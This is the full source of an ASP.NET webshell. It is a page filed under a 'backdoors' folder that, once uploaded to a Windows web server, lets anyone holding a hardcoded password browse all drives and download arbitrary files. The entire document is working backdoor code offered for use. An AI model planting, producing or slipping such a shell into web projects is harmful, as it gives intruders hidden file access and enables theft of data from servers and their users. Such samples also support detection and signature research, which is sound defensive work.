webshell/aspx/asp.net-backdoors/filesystembrowser.aspx

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2014-05-19 01:10:17 +00:00
<%@ Page Language="C#" %>
<%@ Import namespace="System.Diagnostics"%>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Text" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script language="c#" runat="server">
private const string AUTHKEY = "woanware";
private const string HEADER = "<html>\n<head>\n<title>filesystembrowser</title>\n<style type=\"text/css\"><!--\nbody,table,p,pre,form input,form select {\n font-family: \"Lucida Console\", monospace;\n font-size: 88%;\n}\n-->\n</style></head>\n<body>\n";
private const string FOOTER = "</body>\n</html>\n";
/// <summary>
///
/// </summary>
/// <param name="sender"></param>
/// <param name="e"></param>
protected void Page_Load(object sender, EventArgs e)
{
try
{
if (Request.Params["authkey"] == null)
{
return;
}
if (Request.Params["authkey"] != AUTHKEY)
{
return;
}
if (Request.Params["operation"] != null)
{
if (Request.Params["operation"] == "download")
{
Response.Write(HEADER);
Response.Write(this.DownloadFile());
Response.Write(FOOTER);
}
else if (Request.Params["operation"] == "list")
{
Response.Write(HEADER);
Response.Write(this.OutputList());
Response.Write(FOOTER);
}
else
{
Response.Write(HEADER);
Response.Write("Unknown operation");
Response.Write(FOOTER);
}
}
else
{
Response.Write(HEADER);
Response.Write(this.OutputList());
Response.Write(FOOTER);
}
}
catch (Exception ex)
{
Response.Write(HEADER);
Response.Write(ex.Message);
Response.Write(FOOTER);
}
}
/// <summary>
///
/// </summary>
private string DownloadFile()
{
try
{
if (Request.Params["file"] == null)
{
return "No file supplied";
}
string file = Request.Params["file"];
if (File.Exists(file) == false)
{
return "File does not exist";
}
Response.ClearContent();
Response.ClearHeaders();
Response.Clear();
Response.ContentType = "application/octet-stream";
Response.AddHeader("Content-Disposition", "attachment; filename=" + Path.GetFileName(file));
Response.AddHeader("Content-Length", new FileInfo(file).Length.ToString());
Response.WriteFile(file);
Response.Flush();
Response.Close();
return "File downloaded";
}
catch (Exception ex)
{
return ex.ToString();
}
}
/// <summary>
///
/// </summary>
private string OutputList()
{
try
{
StringBuilder response = new StringBuilder();
string dir = string.Empty;
if (Request.Params["directory"] == null)
{
string[] tempDrives = Environment.GetLogicalDrives();
if (tempDrives.Length > 0)
{
for (int index = 0; index < tempDrives.Length; index++)
{
try
{
dir = tempDrives[index];
break;
}
catch (IOException){}
}
}
}
else
{
dir = Request.Params["directory"];
}
if (Directory.Exists(dir) == false)
{
return "Directory does not exist";
}
// Output the auth key textbox
response.Append("<table><tr>");
response.Append(@"<td><asp:TextBox id=""txtAuthKey"" runat=""server""></asp:TextBox></td>");
response.Append("</tr><tr><td>&nbsp;<td></tr></table>");
// Output the available drives
response.Append("<table><tr>");
response.Append("<td>Drives</td>");
string[] drives = Environment.GetLogicalDrives();
foreach (string drive in drives)
{
response.Append("<td><a href=");
response.Append("?directory=");
response.Append(drive);
response.Append("&authkey=" + Request.Params["authkey"]);
response.Append("&operation=list>");
response.Append(drive);
response.Append("</a></td>");
}
// Output the current path
response.Append("</tr></table><table><tr><td>&nbsp;</td></tr>");
response.Append("<tr><td>..&nbsp;&nbsp;&nbsp;<a href=\"?directory=");
string parent = dir;
DirectoryInfo parentDirInfo = Directory.GetParent(dir);
if (parentDirInfo != null)
{
parent = parentDirInfo.FullName;
}
response.Append(parent);
response.Append("&authkey=" + Request.Params["authkey"]);
response.Append("&operation=list\">");
response.Append(parent);
response.Append("</a></td></tr></table><table>");
// Output the directories
System.IO.DirectoryInfo dirInfo = new System.IO.DirectoryInfo(dir);
foreach (System.IO.DirectoryInfo dirs in dirInfo.GetDirectories("*.*"))
{
response.Append("<tr><td>dir&nbsp;&nbsp;<a href=\"?directory=" + dirs.FullName + "&authkey=" + Request.Params["authkey"] + "&operation=list\">" + dirs.FullName + "</a></td></tr>");
}
// Output the files
dirInfo = new System.IO.DirectoryInfo(dir);
foreach (System.IO.FileInfo fileInfo in dirInfo.GetFiles("*.*"))
{
response.Append("<tr><td>file&nbsp;<a href=\"?file=" + fileInfo.FullName + "&authkey=" + Request.Params["authkey"] + "&operation=download\">" + fileInfo.FullName + "</a></td><td>");
response.Append(fileInfo.Length);
response.Append("</td></tr>");
}
response.Append("</table>");
return response.ToString();
}
catch (Exception ex)
{
return ex.ToString();
}
}
</script>
<!-- Created by Mark Woan (http://www.woanware.co.uk) -->